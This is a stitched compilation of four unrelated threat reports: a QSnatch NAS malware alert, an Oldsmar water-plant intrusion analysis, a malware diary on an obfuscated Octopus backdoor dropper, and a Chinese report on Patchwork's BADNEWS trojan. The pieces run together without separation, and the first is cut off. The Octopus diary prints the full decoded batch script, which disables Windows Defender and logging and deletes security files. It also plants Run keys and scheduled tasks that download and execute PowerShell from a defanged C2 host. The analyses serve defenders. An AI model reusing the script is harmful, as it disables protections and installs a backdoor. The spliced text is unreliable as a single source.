# Alert: Potential Legacy Risk from Malware Targeting QNAP NAS Devices **Version 1.0** **27 July 2020** © Crown Copyright 2020 This report provides details of the malware Qsnatch (also known as ‘Derek’) from NCSC, CISA, and industry partner analysis. It includes indicators of compromise as well as detection and mitigation advice. **Disclaimer** This report draws on information derived from multiple sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks, and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. This is a joint alert from the United Kingdom’s National Cyber Security Centre (NCSC) and the Cybersecurity and Infrastructure Security Agency (CISA) in the United States. ## Introduction The NCSC and CISA are investigating a strain of malware called QSnatch (also known as ‘Derek’), which attackers used in late 2019 to target Network Attached Storage (NAS) devices manufactured by the firm QNAP. All QNAP NAS devices are potentially vulnerable to QSnatch malware if not updated with the latest security fixes. The malware, documented in open-source reports, has infected thousands of devices worldwide, with a particularly high number of infections in North America and Europe. Further, once a device has been infected, attackers can prevent administrators from successfully running firmware updates. This alert summarises the findings of NCSC, CISA, and industry partner analysis and provides mitigation advice. ## Details ### Campaigns The NCSC and CISA have identified two campaigns of activity for QSnatch malware. The first campaign likely began in early 2014 and continued until mid-2017, while the second started in late 2018 and was still active in late 2019. The two campaigns are distinguished by the initial payload used as well as some differences in capabilities. This alert focuses on the second campaign as it is the most recent threat. It is important to note that infrastructure used by the malicious cyber actors in both campaigns is not currently active, but the threat remains to unpatched devices. Although the identities and objectives of the malicious cyber actors using QSnatch are currently unknown, the malware is relatively sophisticated, and the cyber actors demonstrate an awareness of operational security. ### Global Distribution of Infections Analysis shows a significant number of infected devices. In mid-June 2020, there were approximately 62,000 infected devices worldwide; of these, approximately 3,900 were in the UK and 7,600 were in the US. ### Delivery and Exploitation The infection vector has not been identified, but QSnatch appears to be injected into the device firmware during the infection stage, with the malicious code subsequently run within the device, compromising it. The attacker then uses a domain generation algorithm (DGA) to establish a command and control (C2) channel that periodically generates multiple domain names for use in C2 communications. ### Malware Functionalities Analysis shows that QSnatch malware contains multiple functionalities, such as: - **CGI password logger**: This installs a fake version of the device admin login page, logging successful authentications and passing them to the legitimate login page. - **Credential scraper** - **SSH backdoor**: This allows the cyber actor to execute arbitrary code on a device. - **Exfiltration**: When run, QSnatch steals a predetermined list of files, which includes system configurations and log files. These are encrypted with the actor’s public key and sent to their infrastructure over HTTPS. - **Webshell functionality for remote access** ### Persistence The malware appears to gain persistence by preventing updates from installing on the infected QNAP device. The attacker modifies the system host’s file, redirecting core domain names used by the NAS to local out-of-date versions so updates can never be installed. ### Samples The following tables provide hashes of related QSnatch samples found in open-source malware repositories. File types fall into two buckets: (1) shell scripts and (2) shell script compiler (SHC)-compiled executable and linking format (ELF) shell scripts. One notable point is that some samples intentionally patch the infected QNAP for Samba remote code execution vulnerability CVE-2017-7494. **Table 1: QSnatch Samples – Shell Scripts** SH Samples (SHA256) 09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d 8fd16e639f99cdaa7a2b730fc9af34a203c41fb353eaa250a536a09caf78253b 473c5df2617cee5a1f73880c2d66ad9668eeb2e6c0c86a2e9e33757976391d1a 55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f 9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b 9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc 3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e 13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c **Table 2: QSnatch Samples - SHC-Compiled ELF Shell Scripts** SH Samples (SHA256) 18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b 3615f0019e9a64a78ccb57faa99380db0b36146ec62df768361bca2d9a5c27f2 845759bb54b992a6abcbca4af9662e94794b8d7c87063387b05034ce779f7d52 6e0f793025537edf285c5749b3fcd83a689db0f1c697abe70561399938380f89 ## Mitigation As stated above, once a device has been infected, attackers have been known to make it impossible for administrators to successfully run the needed firmware updates. This makes it extremely important for organisations to ensure their devices have not been previously compromised. Organisations that are still running a vulnerable version must run a full factory reset on the device prior to completing the firmware upgrade to ensure the device is not left vulnerable. The usual checks to ensure that the latest updates are installed still apply. To prevent reinfection, this recommendation also applies to devices previously infected with QSnatch but from which the malware has been removed. To prevent QSnatch malware infections, the NCSC and CISA strongly recommend that organisations take the recommended measures in QNAP’s November 2019 advisory. The NCSC and CISA also recommend organisations consider the following mitigations: - Verify that you purchased QNAP devices from reputable sources. - Block external connections when the device is intended to be used strictly for internal storage.
# Visibility, Monitoring, and Critical Infrastructure Security ## Introduction On 08 February 2021, officials from Pinellas County, Florida announced an unknown entity accessed water treatment operations for the city of Oldsmar. In addition to technical analysis based upon limited details, multiple media outlets responded to the incident with immediate reporting lacking significant additional details. At this time, while the general nature of this incident is somewhat known, many questions remain, especially concerning what entity was responsible for the incident and what their precise intentions were in attempting to modify water treatment operations. While further investigation is warranted, available details allow us to reach some preliminary conclusions on the incident itself and its likely implications. Furthermore, based on what we know with respect to this event and past Industrial Control System (ICS) intrusions, we can formulate an understanding of this incident’s maturity. Finally, the event in Oldsmar provides sufficient information to provide defensive guidance to detect, mitigate, or prevent similar scenarios in the future. ## Overview of the Oldsmar Incident On 05 February 2021, operators at the municipal water treatment facility serving the small city of Oldsmar, Florida noticed strange activity on the systems used to monitor and control operations at the plant. Initial reporting from Reuters indicated the facility used TeamViewer remote access software for remote monitoring and management, which was subsequently confirmed in follow-on reporting and interviews conducted by Wired. While plant operators have since removed the software, at the time an unknown entity identified the TeamViewer instance and managed to authenticate to the system. Identification of critical infrastructure systems exposed to the internet is hardly a new phenomenon. As previously documented by Kim Zetter in several articles from the early 2010s, various tools exist that enable researchers (or less scrupulous entities) to search for and identify ICS devices or similar equipment. Prior to the Oldsmar incident, researchers identified several instances of likely malicious entities remotely accessing control system equipment in the water sector, with the following standing out as most interesting: - **2013**: Intruders, assessed to be linked to Iranian entities, accessed control systems for the small Bowman Avenue Dam. Although a relatively minor structure and resulting in no disruptive consequences, analysts theorize the intruders may have intended to target the much larger Arthur R. Bowman Dam in Oregon, instead. - **2016**: In its annual data breach report, Verizon reported several water utilities—combined into the single, pseudonymous organization “Kemuri Water”—experienced breaches of varying severity. In a few instances, the unknown intruders appear to have manipulated water treatment controls in a haphazard way, causing operational disruption but no harm or destruction. - **2018**: An unknown entity utilized VPNFilter malware to attempt an unspecified attack on a chlorine production plant in Ukraine. Although not directly targeting water treatment operations, the incident would have significantly impacted the sector had a disruption occurred at the targeted site. - **2020**: Unknown entities, although tentatively linked to Iranian interests, accessed and performed minor modifications to multiple water pumping and treatment devices in Israel in April and July 2020. Based on analysis of available information, affected devices were externally accessible with minimal or no authentication preventing the intruder from accessing control systems. While there is some speculation that this event may be linked to the Oldsmar incident, no evidence exists connecting the two and all similarities appear circumstantial. In all of the above cases, external access to control systems resulted in either no or very limited disruption to physical operations. While the same is roughly true of the Oldsmar incident in terms of ultimate impact, the unknown intruder’s actions in the environment are concerning. Specifically, the entity utilized remote access to ICS equipment to manipulate sodium hydroxide levels in the treatment plant. While normal operations run at 100 Parts Per Million (PPM) of sodium hydroxide in the treatment environment, the unknown intruder attempted to increase the amount to 11,100 PPM. While attempting to make the above alteration, personnel monitoring the equipment, likely a Human Machine Interface (HMI) in the plant environment, noticed the action and reversed it. Had the action not been caught in progress during standard working hours, officials indicate it would take 24-36 hours for the change to be reflected downstream among the population served by the district, and that automated testing and similar safeguards would have detected the physical process change. Based on all available evidence and statements from local authorities, the intrusion and manipulations to the ICS environment were prevented through operator attentiveness and interaction, with further engineering controls providing additional layers of safety. Although the incident resulted in neither significant disruption nor outright damage, the simple fact that some unknown entity attempted the above action is deeply concerning—reflecting either callousness given the potential harm, or ignorance as to what the attempted change might have produced in the serviced population. ## Process Visibility and Intruder Maturity Although deeply concerning, the intrusion (if not “attack”) scenario described above shows multiple immaturities. Particularly: 1. Events took place during normal operational hours where personnel were on-hand and available to quickly respond. 2. The intruder did not attempt to hide or mask their activity through interaction with or overwrite of HMI systems or spoofing of sensor data. 3. The modification to sodium hydroxide levels was so extreme as to almost certainly trigger engineering or other non-ICS controls or alarms within the environment. These three factors, taken together, indicate an attack that was either immature, rushed, or potentially unintentional following access to the controlling HMI. To better understand how these items function, especially in light of a potential integrity-targeting ICS incident, a quick review of historical ICS incidents is helpful. ### Stuxnet Incident Although well-documented, especially through resources such as Kim Zetter’s *Countdown to Zero Day* and Symantec’s *Stuxnet Dossier*, certain elements of Stuxnet are frequently misunderstood or overlooked in general discussion. While reviewed in other sources in depth, the critical item enabling Stuxnet’s success was the malware’s ability to induce a general loss or denial of view condition in the victim environment. In this specific case, the malware recorded “normal” plant operations then played these recordings back to monitoring systems during physical attack sequences to mask events from plant operators. Absent this critical step, operators would have been able to detect anomalous operations in the plant environment enabling intervention and process diagnosis. ### 2015 Ukraine Power Event In 2015, entities linked to Russian military intelligence (GRU) penetrated multiple electric distribution centers in Ukraine. In a coordinated operation in late December of that year, the attackers disrupted distribution operations inducing blackout conditions through a combination of rogue control devices and logging on to user workstations to disconnect equipment. Yet for such operations to succeed, personnel had to be locked out of their workstations to prevent operator intervention during the initial phases of the attack. Subsequent activity in the victim environment resulted in the use of wiper malware to remove remote operational control, followed by a malicious firmware update to serial-to-ethernet converters which made communication to equipment impossible. Overall, these steps amount to a coordinated effort to induce a loss or denial of control condition that enabled a sustained, widespread impact to Ukrainian electric utility operations. ### 2016 Ukraine Industroyer/CRASHOVERRIDE Incident In 2016, Ukraine again witnessed an electric power incident in December linked to Russia’s intelligence services, this time targeting a single transmission substation. Referred to as the Industroyer or CRASHOVERRIDE event, the incident again wiped control systems to induce loss of control—but also likely aimed at a loss of view condition as well to enable a potentially destructive (if failed) physical damage scenario. In this particular case, removing operator logical control (to force manual operations) combined with loss of logical view into the health and status of the system was used in sequence to enable a process protection-focused attack scenario. Absent these conditions, it would be highly unlikely for the sequence of events required to restore operations in an unprotected, unsafe state (enabling possible destruction) would materialize. ### 2017 TRITON/TRISIS Event In 2017, a petrochemical plant in Saudi Arabia experienced multiple unexpected plant shutdowns due to the plant’s Safety Instrumented Systems (SIS) tripping for then-unknown reasons. Subsequent investigation identified a purpose-built malware variant, referred to as TRITON or TRISIS, as responsible for the disruption. Further investigation and analysis indicated that rather than a direct attack on plant safety equipment, the malware’s purpose was to enable undetected, arbitrary modification of SIS parameters. Combined with access elsewhere in the plant environment, an attacker could remove or alter safety controls to induce physical damage. Yet to succeed, the attacker needed to ensure not only access to modify safety parameters, but also the ability to alter such parameters without operators knowing such changes took place. ## Implications for Oldsmar Overall, these four examples of high-profile, technically complex ICS attack scenarios emphasize a critical barrier to adversary success: the ability to evade, influence, or outright deny operator visibility into and control over ICS environments. In all four examples, the attacks required some mechanism to hide from operators or deny their ability to correct or mitigate changes made to operating parameters. In the case of the Oldsmar treatment plant incident, the intruder failed to attempt any such action based on information currently available. Had the unknown entity spoofed or otherwise interfered with HMI display parameters or sensor data, the operator on duty would be less likely to notice the incident as it took place, resulting in an attack moving on to engineering and process controls for potential mitigation or detection. Not only did the intruder fail to limit or manipulate process view in the environment, they executed the event during primary working hours on a weekday, almost ensuring that such activity would be quickly noticed (and mitigated). Based on these observations and in light of past ICS incidents, we can therefore make a reasonably confident claim with available evidence that this was not an especially complex or savvy “attack.” As described in multiple sources, the intruder appears to have merely taken advantage of weakly secured, accessible remote access mechanisms to connect to plant equipment controls, followed by either deliberate or potentially inadvertent manipulation of the environment. That such an attempt occurred at all is certainly concerning, but the overwhelming evidence given event timing and execution indicate that there were only slight possibilities for this event to produce significant damage or harm. ## Defensive Countermeasures and Attack Surface Reduction While this particular incident did not result in any damage or even notable operational disruption, events at the Oldsmar water treatment facility highlight the real risks and dangers associated with remote access to critical infrastructure systems. While the knee-jerk answer to such issues would be to remove or curtail access to such systems as much as possible, this is unrealistic and inactionable in modern operational environments. For reasons ranging from centralized control over geographically distant control systems to vendor requirements to system access for telemetry and maintenance purposes to the limitations placed on personnel by COVID-19 restrictions, remote accessibility cannot simply be removed or shut off. However, the ways in which such connectivity are implemented can ensure that such operations are done in a securable, defensible fashion. First and foremost, while precise details on the system in question are not available, available evidence indicates that if the HMI controlling sodium hydroxide levels was not directly accessible via the TeamViewer instance at the facility, then access to such a system was easily gained from that initial access point. While such direct access may be convenient, it is insecure and undesirable. Instead, having a purpose-built bastion or “jumphost” can provide a single, hardened point for remote access and monitoring. By using different sets of credentials for the bastion host to internal network and system authentication, security can be increased further as password brute forcing or credential capture for the bastion will not enable immediate follow-on access to other systems in the network. Network segmentation, access controls, and sound network engineering can work in concert to reduce the overall attack surface to a limited number of defensible nodes (such as the bastion), while also facilitating monitoring of activity to a smaller set of devices. When applied with even more robust security controls, such as the implementation of robust Multi-Factor Authentication (MFA) schema for remote login activity, exposed attack surface can be reduced even further. While certain controls such as complex passwords or hardware token MFA may be undesirable in certain ICS environments due to operational overhead and similar considerations, applying such defensive measures and similar controls to external facing network access points is critical. The profusion of scanning and indexing tools for remotely accessible services combined with the ability of adversaries to either brute force or potentially capture user credentials mean these accessible systems must be hardened. ## Remote Access Monitoring and Indicator Enrichment Once networks are appropriately hardened and segmented, network operators and defenders can then proceed to Network Security Monitoring (NSM) and traffic analysis. In well-designed environments with only a few externally-communicating or -accessible bastions, NSM operations are simplified and manageable, allowing for potentially powerful security analysis and response. With proper monitoring, defenders can begin asking a number of questions or formulating hunting hypotheses relative to their network posture. Particularly, operators can utilize near real-time enrichment of network observables such as IP addresses and domain names to build an intelligence picture of traffic flows and communications. At the most basic level, this may constitute little more than geographic enrichment of IP addresses to identify odd or anomalous connections. This methodology can certainly produce errors—such as the case of an Illinois water pump station where a worker on vacation remotely accessed a device prompting calls of Russian critical infrastructure hacking. Typically, observing remote authentication attempts from non-local address space for a municipal utility network can form a good starting point for follow-on investigation. In more advanced use-cases, enrichment of external infrastructure using third-party intelligence sources can enable complex, higher-confidence queries for suspicious or known malicious activity. Examples would include being able to correlate source infrastructure for connection attempts to anonymizing infrastructure such as TOR, or identifying connections from Internet Service Providers (ISPs) or Autonomous System Numbers (ASNs) either highly correlated with known-malicious activity, or never previously associated with any known-good, legitimate operation. As documented in previous items from DomainTools researchers, identifying indicators in general, and network indicators in particular, as composite objects yields a number of possibilities for enrichment and analysis. In this particular case, defenders and network operators can leverage enrichment of network data to identify suspicious remote access activity or other signs of initial intrusion, potentially enabling operator response and mitigation actions before such intrusions proceed to the manipulation of controls in a critical infrastructure environment. From the opposite view, and as previously documented in the context of the SUNBURST campaign, near real-time enrichment of outbound traffic can potentially identify stealthy, otherwise difficult to detect intrusion scenarios by flagging items related to Command and Control (C2) activity. ## Conclusion The Oldsmar water treatment plant intrusion raises many concerns: first, that such an intrusion even happened in the first place indicates a certain maliciousness or lack of caution by the entity in question; second, while this specific instance appears relatively simplistic and immature, the same initial access vectors used in this event could be leveraged by more operationally savvy entities to produce a disruptive or dangerous impact. Yet while the incident is concerning, network operators and defenders have many options available to fight back against such events. Through a combination of network hardening, attack surface reduction, network segmentation, and NSM with indicator enrichment, defenders can dramatically reduce the likelihood of such events, significantly reduce their efficacy, or increase the likelihood of identifying such activity at relatively early stages. Of course, for many smaller organizations, such as municipal water treatment entities, some of the security suggestions offered above may remain out of reach for budgetary or technical reasons. While a “100% solution” may not be feasible for such entities, certain preliminary steps such as attack surface analysis and reduction remain within reach. Irrespective of maturity and capability, given that various entities are actively probing and attempting to interact with connected critical infrastructure systems, all organizations responsible for operating such equipment must take all available steps within reason to secure these networks as best as possible. Overall, and as documented by various entities, malicious activity against critical infrastructure networks in general and ICS networks in particular appear to be increasing. Through a combination of proactive defensive hardening and enhanced visibility or network monitoring, asset owners, operators, and defenders can better position themselves against such intrusions. Failure to apply these lessons now mean potential adversaries at varying levels of complexity and capability will continue to find vital networks unprepared for future intrusion scenarios.
# Octopus Backdoor is Back with a New Embedded Obfuscated Bat File **Published:** 2022-05-09 **Last Updated:** 2022-05-09 06:19:07 UTC **by Xavier Mertens** Last week, I found another interesting Word document that delivered an interesting malicious script to potential victims. Usually, Office documents carry VBA macros that are activated using a bit of social engineering (the classic yellow ribbon) but this time, the document did not contain any malicious code: ``` remnux@/MalwareZoo/20220505$ oledump.py f1763579a9319d2506ee468031e1eb1b.doc 1: 114 '\x01CompObj' 2: 4096 '\x05DocumentSummaryInformation' 3: 4096 '\x05SummaryInformation' 4: 7624 '1Table' 5: 15906 'Data' 6: 4096 'WordDocument' ``` But you can see stream 5 is called "Data". When you open the document, you see this: The document SHA256 is `6e3ef2551b1f34685025f9fe1d6358ef95fbe21ada8ed9de3c7c4d5070520f6e` and its current VT score is 22/60. The document contains embedded objects that look like PDF files but they aren't: If you follow the instruction and click on one of the PDF icons (all three point to the same script), the script will be executed. Let's have a look at it: It looks pretty well obfuscated: ``` %xlnlrpz%%fynwfvh%%dskbaxq%.%fynwfvh%%lxckycu%%fynwfvh% %wegkoem%%tjxpouf%%tjxpouf% %yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyyjm%%weg /%cbwqklh% %fynwfvh%%bysdcmi%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%mkmhtbo%%jxdklrj%%wegkoem% /%flbzyhx% %xlnlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf% 0 /%gfuxihu% ``` In Microsoft batch files, "%...%" represents a variable. If you look carefully at the code, you see that we just have a suite of environment variables with, sometimes, clear characters. Those characters are special ones like "/", "." or numbers. The obfuscation technique used here is pretty simple but efficient. Environment variables just contain letters from A to Z: ``` set wegkoem=a set bpltpmn=b set khoziql=c set tjxpouf=d set fynwfvh=e set gfuxihu=f set dskbaxq=g set yvyapob=h set pjdvllg=i set mnmpqbg=j set eeuyvwk=k set mkmhtbo=l set hxiqvtv=m set bysdcmi=n set nutqtmu=o set brlbmmf=p set hoahisa=q set xlnlrpz=r set ybbwhci=s set flbzyhx=t set jxdklrj=u set cbwqklh=v set rmyyyjm=w set lxckycu=x set tjtkrhi=y set ikoiset=z ``` Once you replaced all variables with the corresponding letters, the script is easier to read but you still have to clean it: ``` @%e%%c%%h%%o% %o%%f%%f% ``` Here is the complete decoded script: ``` @echo off reg delete "hklm\software\policies\microsoft\windows defender" /f reg add "hklm\software\policies\microsoft\windows defender" /v "disableantispyware" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender" /v "disableantivirus" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender\mpengine" /v "mpenablepus" /t reg_dword /d "0" /f reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disablebehaviormonitoring" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disableioavprotection" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disableonaccessprotection" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disablerealtimemonitoring" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disablescanonrealtimeenable" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender\reporting" /v "disableenhancednotifications" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender\spynet" /v "disableblockatfirstseen" /t reg_dword /d "1" /f reg add "hklm\software\policies\microsoft\windows defender\spynet" /v "spynetreporting" /t reg_dword /d "0" /f reg add "hklm\software\policies\microsoft\windows defender\spynet" /v "submitsamplesconsent" /t reg_dword /d "0" /f rem 0 - disable logging reg add "hklm\system\currentcontrolset\control\wmi\autologger\defenderapilogger" /v "start" /t reg_dword /d "0" /f reg add "hklm\system\currentcontrolset\control\wmi\autologger\defenderauditlogger" /v "start" /t reg_dword /d "0" /f rem disable wd tasks schtasks /change /tn "microsoft\windows\exploitguard\exploitguard mdm policy refresh" /disable schtasks /change /tn "microsoft\windows\windows defender\windows defender cache maintenance" /disable schtasks /change /tn "microsoft\windows\windows defender\windows defender cleanup" /disable schtasks /change /tn "microsoft\windows\windows defender\windows defender scheduled scan" /disable schtasks /change /tn "microsoft\windows\windows defender\windows defender verification" /disable rem disable wd systray icon reg delete "hklm\software\microsoft\windows\currentversion\explorer\startupapproved\run" /v "windows defender" /f reg delete "hkcu\software\microsoft\windows\currentversion\run" /v "windows defender" /f reg delete "hklm\software\microsoft\windows\currentversion\run" /v "windowsdefender" /f rem remove wd context menu reg delete "hkcr\*\shellex\contextmenuhandlers\epp" /f reg delete "hkcr\directory\shellex\contextmenuhandlers\epp" /f reg delete "hkcr\drive\shellex\contextmenuhandlers\epp" /f rem disable wd services reg add "hklm\system\currentcontrolset\services\wdboot" /v "start" /t reg_dword /d "4" /f reg add "hklm\system\currentcontrolset\services\wdfilter" /v "start" /t reg_dword /d "4" /f reg add "hklm\system\currentcontrolset\services\wdnisdrv" /v "start" /t reg_dword /d "4" /f reg add "hklm\system\currentcontrolset\services\wdnissvc" /v "start" /t reg_dword /d "4" /f reg add "hklm\system\currentcontrolset\services\windefend" /v "start" /t reg_dword /d "4" /f reg add "hklm\system\currentcontrolset\services\securityhealthservice" /v "start" /t reg_dword /d "4" /f reg.exe add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /f reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "#one" /t reg_sz /d "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php');\"" /f reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "#oneupdate" /t reg_sz /d "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:443/uddiexplorer');\"" /f "c:\program files\microsoft security client\setup.exe" /x /s /disableoslimit start /b powershell add-mppreference -exclusionpath "c:" -force start /b powershell add-mppreference -exclusionpath "c:\users" -force start /b powershell -w hidden "iex(new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:443/uddiexplorer');" start /b powershell -w hidden "add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php');" schtasks /create /sc minute /mo 60 /f /tn achromeupdater /tr "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring(''hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php'');\"" schtasks /f /create /sc minute /mo 60 /tn achromeupdateri /tr "powershell.exe -w hidden 'iex (new-object net.webclient).downloadstring(''hxxp://hpsj[.]firewall-gateway[.]net:443/uddiexplorer'');'" sc stop windefend sc config windefend start= disabled sc delete windefend sc stop wdnissvc sc config wdnissvc start= disabled sc delete wdnissvc sc stop sense sc config sense start= disabled sc delete sense sc stop wuauserv sc config wuauserv start= disabled sc stop usosvc sc config usosvc start= disabled sc stop waasmedicsvc sc config waasmedicsvc start= disabled sc stop securityhealthservice sc config securityhealthservice start= disabled sc delete securityhealthservice sc stop sdrsvc sc config sdrsvc start= disabled sc stop wscsvc sc config wscsvc start= disabled sc stop wdiservicehost sc config wdiservicehost start= disabled sc stop wdisystemhost sc config wdisystemhost start= disabled sc stop installservice sc config installservice start= disabled sc stop vaultsvc sc config vaultsvc start= disabled sc stop spooler sc config spooler start= disabled sc stop licensemanager sc config licensemanager start= disabled sc stop diagtrack sc config diagtrack start= disabled taskkill /f /im smartscreen.exe taskkill /f /im securityhealthservice.exe cd c:\ cd c:\program files\ rd /s /q "windows defender" rd /s /q "windows defender advanced threat protection" rd /s /q "windows security" cd c:\program files (x86)\ rd /s /q "windows defender" cd c:\programdata\microsoft rd /s /q "windows defender" rd /s /q "windows defender advanced threat protection" rd /s /q "windows security health" cd c:\ cd windows cd system32 del /f windowsupdateelevatedinstaller.exe del /f securityhealthsystray.exe del /f securityhealthservice.exe del /f securityhealthhost.exe del /f securitycenterbroker.dll del /f securitycenterbrokerps.dll del /f securityhealthagent.dll del /f securityhealthproxystub.dll del /f securityhealthsso.dll del /f smartscreensettings.exe del /f smartscreenps.dll del /f smartscreen.exe del /f windows.security.integrity.dll del /f windowsdefenderapplicationguardcsp.dll del /f wscsvc.dll del /f wscsvc.dll.mui del /f wsecedit.dll cd winevt\logs del /f microsoft-windows-windows defender4operational.evtx del /f microsoft-windows-windows defender4whc.evtx del /f microsoft-windows-security-audit-configuration-client4operational.evtx del /f microsoft-windows-security-enterprisedata-filerevocationmanager4operational.evtx del /f microsoft-windows-security-netlogon The domain `hpsj[.]firewall-gateway[.]net` is well-known, it's a good old Octopus backdoor. I already wrote a diary about it in 2020! But it seems to be back with a simple but effective obfuscation technique. **Keywords:** Backdoor Bat Obfuscated Octopus Script Word
# 奇安信威胁情报中心 ## 背景 摩诃草,又名Hangover、Patchwork、白象等,奇安信内部跟踪编号为APT-Q-36,最早由国外安全厂商Norman披露并命名为Hangover,2016年8月其他厂商后续披露了摩诃草组织的详细报告。国内其他安全厂商通常也称其为“白象”。该APT组织被广泛认为来自南亚地区某国,其最早攻击活动可以追溯到2009年11月,从2015年开始变得更加活跃。该组织主要针对Windows系统进行攻击,同时也会针对Android、Mac OS系统进行攻击。其攻击活动中使用了大量漏洞,其中至少包括一次0day漏洞利用攻击。 摩诃草组织攻击目标所涉及的国家和地区分布非常广泛,除了中国和巴基斯坦等主要目标,还包括以色列、孟加拉国、美国、英国、日本、韩国等国以及中东和东南亚地区。该组织以鱼叉攻击为主,以少量水坑攻击为辅,针对目标国家的政府、军事、电力、工业、外交和经济进行网络间谍活动,窃取敏感信息。 ## 概述 摩诃草组织一直以来都是我们的重点关注对象。近期,奇安信威胁情报中心红雨滴团队在日常的威胁狩猎中捕获了该组织多个攻击样本。在此攻击活动中,攻击者使用带漏洞的RTF文件进行鱼叉攻击,当受害者点击执行诱饵文件之后,将会通过漏洞执行变种BADNEWS木马。从此次摩诃草的攻击活动中,我们总结出该组织的攻击手段具有以下特点: 1. 熟悉目标国家的政府机构,使用政府机构图标增强诱饵的可信性; 2. 初始感染文档使用CVE-2017-11882公式编辑器漏洞执行后续载荷; 3. 提升加密效率,使用RC4算法替换AES-CBC-128算法对数据的加密。 ## 样本信息 本次捕获的两例攻击样本为RTF文件,且均携带CVE-2017-11882公式编辑器漏洞。 ### 诱饵1 以巴基斯坦旁遮普政府劳动和人力资源部相关文档为诱饵。诱饵相关信息如下: - 文件名: Reduction of working days.rtf - MD5: CB50C0650B32911DAEB17217AC258AFE - 文件大小: 1308543 bytes - 样本上传地: 巴基斯坦 ### 诱饵2 以巴基斯坦旁遮普政府监督与评估总局相关文档为诱饵。诱饵相关信息如下: - 文件名: Recruitment of officials on deputation basis2.rtf - MD5: 26991E42F4FA6DFAB84CFA886B4D51F0 - 文件大小: 1194286 bytes - 样本上传地: 巴基斯坦 ## 漏洞利用 两个钓鱼文档都内置了CVE-2017-11882漏洞利用代码,通过触发Office应用中公式编辑器组件的栈溢出漏洞,从而执行指定的shellcode。漏洞利用将触发两段shellcode。第一段shellcode的主要功能为通过栈地址计算得到第二段shellcode的起始位置,并跳转至第二段shellcode执行。 Shellcode首先检测当前系统中是否存在Kaspersky主进程avp.exe或Avast主进程AvastSvc.exe,若存在,则通过cmd执行shell命令“/c schtasks /create /sc minute /mo 1 /tn WindowsUpdate /tr C:\\ProgramData\\OneDrive.exe”。然后恢复shellcode尾部PE文件的魔术头‘MZ’,并将其写入C:\ProgramData\OneDrive.exe程序中。随后在注册表中添加启动项实现持久化,最后启动OneDrive.exe程序,OneDrive.exe程序实际为摩诃草组织常用的BADNEWS木马。 ## BADNEWS木马 BADNEWS木马自2016年8月首次被披露以来,历经多次的版本变更,还衍生出多个变种版本,本次捕获的BADNEWS木马就属于变种版本。根据该变种木马的时间戳来看,其创建时间为2022年5月22日,并且携带了一个有效的签名,显示名称为5Y TECHNOLOGY LIMITED。该BADNEWS变种木马的基本信息如下: - 文件名: OneDrive.exe - MD5: 729DD4604FDA4B19146D8F33509A43F6 - 文件类型: exe - 时间戳: 6289FBB0 (2022/5/22 17:00:32) 